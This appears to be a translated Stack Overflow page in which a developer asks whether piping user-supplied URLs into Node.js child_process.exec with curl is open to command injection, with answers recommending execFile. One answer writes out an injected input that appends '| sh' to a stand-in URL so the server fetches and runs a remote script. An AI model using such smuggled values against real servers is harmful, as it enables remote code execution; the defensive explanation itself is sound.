【问题标题】:Securing node.js exec command line in Linux (Ubuntu) server在 Linux (Ubuntu) 服务器中保护 node.js exec 命令行
【发布时间】:2019-05-23 00:56:58
【问题描述】:

使用 Node.js 执行命令行的代码示例。它将返回页面的完整 HTML。

const getPageHtmlResponse = (fullUrl) => {//fullUrl is come from input form in web page
return new Promise((resolve, reject) => {
    try {
        const exec = require('child_process').exec
        exec("curl "+fullUrl, (err, stdout, stderr) => resolve(stdout))
    } catch (error) {
        resolve(false)
    }
});
}
  1. 此代码是否不安全?我的意思是黑客可以在上面注入另一个命令来操纵系统或服务器?

  2. 如果是,有什么好方法可以逃脱或使其安全?

【问题讨论】:

  • 1.永远不要相信用户输入。 2. 永远不要相信用户输入。

标签: node.js linux shell ubuntu command


【解决方案1】:

如果用户编写脚本并将其放在http://blahblah.blah/b 上,而不是这个 URL,它提供了一个棘手的 URL:http://blahblah.blah/b | sh,现在您的代码将创建一个进程并执行 curl http://blahblah.blah/b | sh。脚本可以是任何东西。 您应该考虑的一件事是,要验证用户输入的 URL,检查它是否包含额外的命令,并且是唯一的 url。

【讨论】:

    【解决方案2】:

    不要使用child_process.exec()。从用户输入中巧妙设计的字符串会从您的程序中启动任意代码,这是您希望避免的。

    改为使用child_process.execFile(),如下所示:

    const getPageHtmlResponse = (fullUrl) => {//fullUrl is come from input form in web page
    
    return new Promise((resolve, reject) => {
        try {
            const execFile = require('child_process').execFile
            execFile("/path/to/curl", fullUrl, (err, stdout, stderr) => resolve(stdout))
        } catch (error) {
            resolve(false)
        }
    });
    }
    

    execFile 采用预先解析的命令列表,不启动中间 shell,因此通过不受信任的 URL 启动程序的风险较小。

    另见

    child_process.execFile

    【讨论】:

    • 通过这个解决方案,如何通过文件从/path/to/curl获取fullUrl
    • 我不明白 - 在您的函数中,您将 fullUrl 作为参数传递。这就是您在调用.execFile() 时使用的内容。您需要指定curl 二进制文件的完整路径。这很可能是/usr/bin/curl
    • /usr/bin/curl 是我机器中 curl 的路径。那么有没有办法通过这种方法向fullUrl注入一些东西呢? @Corion
    • 不,通过使用上述方法,fullUrl 中的任何内容都将作为单个参数传递给curl,并且不会受到 shell 扩展或 shell 解释。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2012-08-22
    • 1970-01-01
    • 2018-03-29
    • 1970-01-01
    • 2012-05-24
    • 2013-12-28
    • 1970-01-01
    相关资源
    最近更新 更多